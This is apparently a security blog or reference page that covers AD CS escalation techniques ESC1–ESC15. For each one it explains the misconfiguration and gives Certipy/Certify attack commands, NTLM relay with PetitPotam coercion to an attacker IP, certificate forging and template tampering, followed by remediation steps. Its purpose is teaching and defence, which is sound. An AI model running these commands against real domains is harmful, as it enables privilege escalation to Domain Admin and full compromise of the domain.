Skip to content

AD CS Attacks (ESC1 to ESC15)

Active Directory Certificate Services (AD CS) is an absolute goldmine for attackers. Ever since the groundbreaking “Certified Pre-Owned” whitepaper by SpecterOps, AD CS abuse has routinely offered direct paths from a standard user to Domain Admin.

This post operates as a comprehensive encyclopedia of AD CS Escalation (ESC) techniques. For every path (ESC1 through ESC15), we cover:

  1. How it works & Why it works (The underlying misconfiguration)
  2. Real-world scenario (How this actually happens in production)
  3. Tools & Sample Syntax (Red team exploitation steps)
  4. Detailed Remediation (How defenders fix it)

The two premier tools for AD CS exploitation are:

  • Certipy (Oliver Lyak) – Python-based, designed for Linux/assumed compromise.
  • Certify (GhostPack) – C#/.NET, designed for Windows.

To find vulnerable Certificate Authorities (CAs) and Templates in the environment, you always start here:

Terminal window
# Linux (Certipy) - Sweeps the domain and outputs a text/JSON report
certipy find -vulnerable -u LOWPRIV -p PASSWORD -dc-ip DC_IP -stdout
# Windows (Certify)
.\Certify.exe find /vulnerable

Template-Level Vulnerabilities (ESC1 - ESC3)

Section titled “Template-Level Vulnerabilities (ESC1 - ESC3)”

How it works: An attacker identifies a certificate template that permits low-privileged users (like Domain Users) to enroll. The template is configured for Client Authentication and has the Enrollee Supplies Subject flag enabled. During the certificate request, the attacker manually supplies the User Principal Name (UPN) of a highly privileged account (e.g., a Domain Admin) in the Subject Alternative Name (SAN) field. The Certificate Authority (CA) issues the certificate with the injected SAN.

Why it works: Active Directory relies on the UPN found in the Subject Alternative Name (SAN) of a certificate to map that certificate to an AD account during Kerberos PKINIT (smart card) authentication. By enabling Enrollee Supplies Subject, the CA implicitly trusts the requester to define their own identity. When the attacker authenticates using the issued certificate, the Domain Controller reads the DA’s UPN from the SAN and grants a Ticket Granting Ticket (TGT) for the Domain Admin account.

Real-World Scenario: An IT team creates a template for web servers and enables Enrollee Supplies Subject so they can manually type in the server’s FQDN during the request. They accidentally allow Domain Users to enroll and leave the Client Authentication EKU attached.

Tools & Syntax:

Terminal window
# Tool: Certipy (Linux)
# 1. Requesting the certificate, supplying the DA's UPN
certipy req -u lowpriv -p Password -ca CA_NAME -template WebServerVuln -upn da@domain.com -dc-ip DC_IP
# 2. Authenticating with the obtained .pfx to get a TGT ticket and NT hash
certipy auth -pfx da.pfx -dc-ip DC_IP
# Tool: Certify (Windows)
.\Certify.exe request /ca:CA_NAME /template:WebServerVuln /upn:da@domain.com

Remediation:

  • Open the Certificate Templates console -> Navigate to the Subject Name tab.
  • Change the setting from “Supply in the request” to “Build from this Active Directory information.”
  • If “Supply in the request” must be used, explicitly remove the Client Authentication EKU and restrict the Security tab to only Tier 0 administrators.

How it works: The attacker enrolls in a certificate template that is accessible to low-privileged users but either lists no Extended Key Usages (EKUs) whatsoever or specifically contains the Any Purpose OID. They then use this certificate to perform Kerberos authentication.

Why it works: A certificate that explicitly lacks EKUs, or possesses the Any Purpose OID, is essentially a wildcard. Active Directory natively accepts these “purpose-less” or “all-purpose” certificates for any operation that AD CS supports, including client authentication (smart card logon). The misconfiguration occurs when templates meant for generic tasks (like file encryption) mistakenly leave the door open for authentication.

Real-World Scenario: A legacy template was migrated from an older Windows Server PKI where strict EKU definitions were not enforced or were left blank out of convenience.

Tools & Syntax:

Terminal window
# Tool: Certipy (Linux)
# Since it accepts any purpose, it acts like ESC1 if SAN can be modified
certipy req -u lowpriv -p Password -ca CA_NAME -template AnyPurposeVuln -upn da@domain.com -dc-ip DC_IP

Remediation:

  • Open the template’s Extensions tab -> Application Policies / Extended Key Usage.
  • Explicitly define the necessary EKUs (e.g., Server Authentication only). Never leave the EKU list empty.

How it works: The attacker first requests a certificate from a template that grants the Certificate Request Agent EKU. Using this initial certificate, the attacker leverages the Windows “Enrollment Agent” feature to submit a second certificate request on behalf of an arbitrary user, such as a Domain Admin.

Why it works: Active Directory’s CA specifically supports “Enrollment Agents”—trusted accounts (like IT helpdesk staff) meant to provision physical smart cards on behalf of other users. When a template erroneously assigns this EKU to standard users, it delegates an inherent administrative right. The CA trusts the Enrollment Agent to securely forge certificates in the names of other users without their direct authorization.

Real-World Scenario: A template was created for the Helpdesk to provision physical smart cards for new hires. However, the template was misconfigured to allow standard Domain Users to enroll.

Tools & Syntax:

Terminal window
# Tool: Certipy (Linux)
# 1. Get the Enrollment Agent cert
certipy req -u lowpriv -p Password -ca CA_NAME -template HelpDeskAgent
# 2. Use it to request a cert for a Domain Admin on a standard user template
certipy req -u lowpriv -p Password -ca CA_NAME -template UserAccess -on-behalf-of da@domain.com -pfx lowpriv.pfx

Remediation:

  • On the CA server, go to CA Properties -> Enrollment Agents tab.
  • Explicitly define which agents are allowed to request which templates, and for which user groups.

Access Control Vulnerabilities (ESC4, ESC5, ESC7)

Section titled “Access Control Vulnerabilities (ESC4, ESC5, ESC7)”

How it works: An attacker identifies that their low-privileged account (or a group they control) has high-level permissions (Write, WriteDacl, GenericWrite, or WriteProperty) over a Certificate Template object in Active Directory. They then use LDAP to modify the template’s properties, forcefully enabling the Enrollee Supplies Subject flag and adding the Client Authentication EKU. The template is then exploited just like an ESC1 vulnerability.

Why it works: Certificate Templates are Active Directory objects stored in the Configuration naming context. Standard AD discretionary access control lists (DACLs) dictate who can modify these objects. If standard users are wrongly granted modify permissions over a secure template, they can remotely manipulate the template’s inherent security rules and turn an otherwise safe template into an attack vector.

Real-World Scenario: A nested group vulnerability or historical delegation accidentally over-grants permissions, giving standard application developers change rights over PKI templates.

Tools & Syntax:

Terminal window
# Tool: Certipy (Linux)
# 1. Overwrite template configuration to make it vulnerable (enables SAN and Client Auth)
certipy template -u compromised_dev -p Password -template ImportantTemplate -save-old
# 2. Request certificate as Domain Admin (Exploit as ESC1)
certipy req -u compromised_dev -p Password -ca CA_NAME -template ImportantTemplate -upn da@domain.com
# 3. Revert the template silently
certipy template -u compromised_dev -p Password -template ImportantTemplate -configuration old_config.json

Remediation:

  • Use ADSI Edit or the Certificate Templates console to audit the Security tab of all templates.
  • Remove Full Control, Write, Modify Permissions, and Modify Owner rights for unprivileged users and groups.

ESC5: Vulnerable PKI Object Access Control

Section titled “ESC5: Vulnerable PKI Object Access Control”

How it works: The attacker finds they have Write or Full Control over interrelated PKI objects—such as the CA server’s AD computer object, the Cert Publishers AD group, or the NTAuthCertificates object. They use this control to pivot: either by performing Resource-Based Constrained Delegation (RBCD) against the CA server itself or by forcing the CA to trust malicious inputs.

Why it works: The AD CS ecosystem relies heavily on a web of AD groups and objects to distribute and trust certificates. Gaining control over the CA Computer Object allows for direct compromise of the underlying Windows Server hosting the CA. Similarly, controlling the Cert Publishers or NTAuthCertificates groups can be used to inject malicious public keys into user accounts (similar to Shadow Credentials) or dictate which CAs AD trusts for authentication, bypassing standard controls.

Real-World Scenario: IT staff delegated control of the Cert Publishers group to a tier-2 identity management team, allowing a tier-2 compromise to pivot into full Tier 0 PKI takeover.

Tools & Syntax:

Terminal window
# Tools: BloodHound (to find permission), BloodyAD or Impacket (to exploit)
# E.g. using RBCD against the CA Computer Object if you have GenericAll
python3 rbcd.py -delegate-to 'CA_SERVER$' -delegate-from 'OWNED_COMPUTER$' -action 'write' domain.com/lowpriv:Password

Remediation:

  • Ensure the CA computer object and Cert Publishers group are treated as Tier 0 assets (like Domain Controllers) with highly restricted ACLs.

How it works: An attacker discovers they hold the Manage CA or Manage Certificates rights on the Certificate Authority itself. They can submit a malicious certificate request that requires “manager approval” (even if it violates template security policies), wait for it to enter the pending queue, and then immediately “approve” their own pending request using their manager rights.

Why it works: The CA software uses the concept of “CA Managers” and “Certificate Managers” to gatekeep highly sensitive administrative actions. These rights are separate from standard AD groups like Domain Admins and are defined purely within the CA’s security settings. If delegated incorrectly, an attacker completely bypasses the concept of managerial oversight, enabling them to force the CA to sign hostile certificates.

Real-World Scenario: A service account used by a third-party backup or monitoring agent was carelessly granted ManageCA rights to query CA health states.

Tools & Syntax:

Terminal window
# Tool: Certipy (Linux)
# 1. Add yourself as an officer
certipy ca -u service_acct -p Password -ca CA_NAME -add-officer service_acct
# 2. Request a privileged cert (it will initially be denied)
certipy req -u service_acct -p Password -ca CA_NAME -template SubCA -upn da@domain.com
# 3. Force-issue the denied request (using the Request ID from step 2 output)
certipy ca -u service_acct -p Password -ca CA_NAME -issue-request 105
# 4. Retrieve the issued certificate
certipy req -u service_acct -p Password -ca CA_NAME -retrieve 105

Remediation:

  • Open the Certification Authority MMC -> Right-click the CA -> Properties -> Security tab.
  • Remove the Manage CA and Issue and Manage Certificates permissions from any non-Domain Admin account.

Web Enrollment & Relay Attacks (ESC8, ESC11)

Section titled “Web Enrollment & Relay Attacks (ESC8, ESC11)”

How it works: An attacker forces a highly privileged account (like a Domain Controller computer account) to authenticate to the attacker’s machine. The attacker then intercepts that authentication and relays it over HTTP to the CA’s Web Enrollment interface (/certsrv). The CA issues a certificate in the context of the relayed identity, giving the attacker a valid certificate for the Domain Controller.

Why it works: The legacy Web Enrollment interface relies on HTTP, which does not inherently enforce NTLM relay protections such as Extended Protection for Authentication (EPA) or SMB signing. Because the CA receives a technically valid NTLM authentication block over an unprotected channel, it cannot detect that the session was relayed via a man-in-the-middle, allowing the attacker to impersonate the victim.

Real-World Scenario: Web Enrollment was installed years ago “just in case” and left running on default HTTP port 80.

Tools & Syntax:

Terminal window
# Tools: Certipy + PetitPotam (or Coercer)
# 1. Start the relay listener on the attacker machine
certipy relay -target http://CA_IP -ca CA_NAME -template DomainController
# 2. In another terminal, coerce authentication from target DC to attacker machine
python3 PetitPotam.py ATTACKER_IP TARGET_DC_IP
# 3. Authenticate with the obtained DC PFX
certipy auth -pfx dc01.pfx -dc-ip DC_IP

Remediation:

  • Best Fix: Uninstall the AD CS Web Enrollment feature if not strictly required.
  • Alternative: Enforce HTTPS in IIS, and enable Extended Protection for Authentication (EPA) in the Windows Authentication advanced settings.

How it works: Similar to ESC8, an attacker coerces authentication from a victim (like a DC) and relays it to the Certificate Authority. However, instead of targeting the HTTP Web Enrollment endpoint, the attacker relays the NTLM authentication to the CA’s RPC interface (MS-ICPR protocol) to request a certificate on behalf of the victim.

Why it works: By default, older or unhardened CAs do not enforce RPC Packet Privacy (encryption) for incoming certificate requests. Without encryption enforcement, the RPC endpoint is vulnerable to standard NTLM relaying. The CA accepts the relayed credentials because the transport layer lacks the cryptographic binding required to prove the client and the sender are exactly the same entity.

Real-World Scenario: Defenders uninstalled Web Enrollment to stop ESC8, but the remote RPC interface was left unhardened.

Tools & Syntax:

Terminal window
# Tool: Certipy
# Exact same flow as ESC8, but target the RPC endpoint instead of HTTP
certipy relay -target rpc://CA_IP -ca CA_NAME -template DomainController

Remediation:

  • Enforce RPC endpoint encryption by executing on the CA: certutil -setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQUEST

Advanced Misconfigurations & Bypasses (ESC6, ESC9-ESC15)

Section titled “Advanced Misconfigurations & Bypasses (ESC6, ESC9-ESC15)”

How it works: The attacker discovers a template that permits Client Authentication and low-privileged enrollment but does not explicitly have the Enrollee Supplies Subject flag enabled. However, the attacker simply includes a custom SAN in the certificate request attributes anyway. The CA accepts it because a global registry key allows it.

Why it works: The CA server registry contains a flag called EDITF_ATTRIBUTESUBJECTALTNAME2. When set to 1, this flag globally overrides template-specific settings and tells the CA to dynamically accept user-defined SANs from the request attributes for any template. This effectively turns every single template that permits Client Authentication into an ESC1 vulnerability, regardless of how securely the individual templates were configured.

Real-World Scenario: An administrator enabled this registry key to fix template SAN errors for server deployments, inadvertently turning every authentication template into an ESC1 vulnerability.

Tools & Syntax:

Terminal window
# Tool: Certipy
# Exploit matches ESC1, but it works on ANY authentication template
certipy req -u lowpriv -p Password -ca CA_NAME -template User -upn da@domain.com

Remediation: Disable the flag on the CA: certutil -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2

How it works: The attacker manipulates a compromised Machine Account’s dNSHostName or ServicePrincipalName attribute to match the name of a highly privileged machine, like a Domain Controller. They then request a certificate. Because the CA does not embed a strong security identifier (SID) in the certificate, AD authenticates the attacker as the DC based purely on the forged DNS name.

Why it works: Historically, AD CS matched certificates to accounts using generic string values (like dNSHostName). CVE-2022-26923 introduced a “Security Extension” (an objective SID tied to the AD account) embedded in certificates to prevent name spoofing. However, if the template explicitly omits this extension (NO_SECURITY_EXTENSION flag [ESC9]), or if the global StrongCertificateBindingEnforcement registry key is disabled by administrators [ESC10], AD falls back to the vulnerable, spoofable string-matching behavior.

Real-World Scenario: A sysadmin deployed the ESC10 registry key to downgrade enforcement because the CVE-2022-26923 Microsoft patch broke internal 802.1x NAC appliances.

Tools & Syntax:

Terminal window
# Tools: PowerMad (or Set-MachineAccountAttribute) + Certify
# 1. Rename an owned computer object attribute to match the target
Set-MachineAccountAttribute -MachineName "OWNED$" -Attribute "dNSHostName" -Value "DC01.domain.com"
# 2. Request the cert via Certify as the owned machine
.\Certify.exe request /ca:CA_NAME /template:Machine /machine

Remediation: Ensure StrongCertificateBindingEnforcement is set to 2 on all DCs, and remove the CT_FLAG_NO_SECURITY_EXTENSION flag from all templates.

ESC13: Issuance Policies Bypassing (Linked OIDs)

Section titled “ESC13: Issuance Policies Bypassing (Linked OIDs)”

How it works: An attacker identifies a certificate template containing an Issuance Policy Object Identifier (OID) that is linked to a highly privileged Active Directory group. By requesting a certificate from this template, the resulting certificate includes the privileged OID. When used for Kerberos PKINIT authentication, the Domain Controller grants the privileges of the linked group in the resulting TGT.

Why it works: Active Directory allows administrators to link certificate Issuance Policies (represented by OIDs) directly to AD groups for cross-forest or specialized access mapping (stored in the msDS-OIDToGroupLink container). If a template grants one of these OIDs but isn’t restricted to the appropriate tier of users, any user who enrolls implicitly obtains the group’s rights. The flaw is the mismatch between the template’s enrollment ACLs and the privileges granted by the OID.

Real-World Scenario: Custom Issuance Policies were created to streamline cross-forest trusted group mapping or specialized VPN access, but the template yielding the policy was left available to Domain Users.

Tools & Syntax:

Terminal window
# Tool: Certipy
# 1. The attacker requests a certificate from the template containing the privileged OID
certipy req -u lowpriv -p Password -ca CA_NAME -template LinkedOIDTemplate
# 2. Authenticate! The DC reads the OID during Kerberos PKINIT and grants the mapped group's privileges in the TGT
certipy auth -pfx lowpriv.pfx -dc-ip DC_IP

Remediation: Remove highly privileged Issuance Policies from low-privilege templates and audit the msDS-OIDToGroupLink AD container.

ESC14: Weak Certificate Mapping (altSecurityIdentities)

Section titled “ESC14: Weak Certificate Mapping (altSecurityIdentities)”

How it works: An attacker leverages write access over the altSecurityIdentities attribute on their own (or a compromised) low-privileged user account. They modify this attribute to contain the specific X.509 mapping string (usually the Issuer and Subject name) of a legitimate certificate owned by a Domain Admin. The attacker then authenticates using their own valid, standard certificate, but AD logs them in as the Domain Admin.

Why it works: Active Directory uses the altSecurityIdentities attribute to map certificates to AD accounts when standard UPN mapping isn’t used. The system trusts this mapping explicitly during authentication. The vulnerability exists because AD does not natively perform reciprocal validation during this strong mapping process; if a user can write to their own mapping attribute, they can arbitrarily point it to someone else’s certificate identity, hijacking that identity context upon login.

Real-World Scenario: Identity automation scripts granted self-service mapping rights so users could register smart cards without helpdesk intervention. A user modifies their mapping to match the CEO’s certificate.

Tools & Syntax:

Terminal window
# Tools: PowerShell ActiveDirectory Module + Certipy
# 1. Update the attacker's own altSecurityIdentities to map to the target DA's Issuer/Subject
Set-ADUser -Identity "lowpriv" -Add @{'altSecurityIdentities'="X509:<I>DC=com,DC=domain,CN=CA<S>CN=Administrator"}
Terminal window
# 2. Authenticate using the standard user's valid cert, which AD now maps to the Domain Admin account based on altSecurityIdentities
certipy auth -pfx lowpriv.pfx -dc-ip DC_IP

Remediation: Remove self-write capabilities over the altSecurityIdentities attribute across the domain.

How it works: An attacker compromises the private key of a Subordinate Certificate Authority (SubCA) server. Instead of using the SubCA legitimately, the attacker uses the key to forge a completely new downstream certificate—specifying arbitrary subject names (like a Domain Admin) and assigning Extended Key Usages (EKUs) such as Client Authentication. They then use this forged certificate to authenticate to the domain.

Why it works: In a Public Key Infrastructure (PKI), trust is hierarchical. However, a CA certificate can contain restrictions (ExtendedKeyUsage or PathLengthConstraint) that limit what types of certificates it can issue. If these restrictions are missing on the CA’s own certificate, Active Directory blindly trusts any validly signed leaf certificate it issues, including Client Authentication certs, even if that SubCA was never intended for user authentication purposes.

Real-World Scenario: A custom-built Offline Root PKI structure was generated manually without applying restricted EKU limits on the SubCA issuing layer. The SubCA’s private key gets exported or compromised.

Tools & Syntax:

Terminal window
# Tools: Certipy or ForgeCert
# 1. Forge a certificate for a Domain Admin using the compromised SubCA private key (.pfx)
# The forged certificate is NEVER logged in the actual CA application!
certipy forge -ca-pfx subca.pfx -upn da@domain.com -subject 'CN=Administrator'
# 2. Authenticate with the forged certificate
certipy auth -pfx forged.pfx -dc-ip DC_IP

Remediation: Reissue CA certificates with strict PathLengthConstraint and explicit ExtendedKeyUsage restrictions.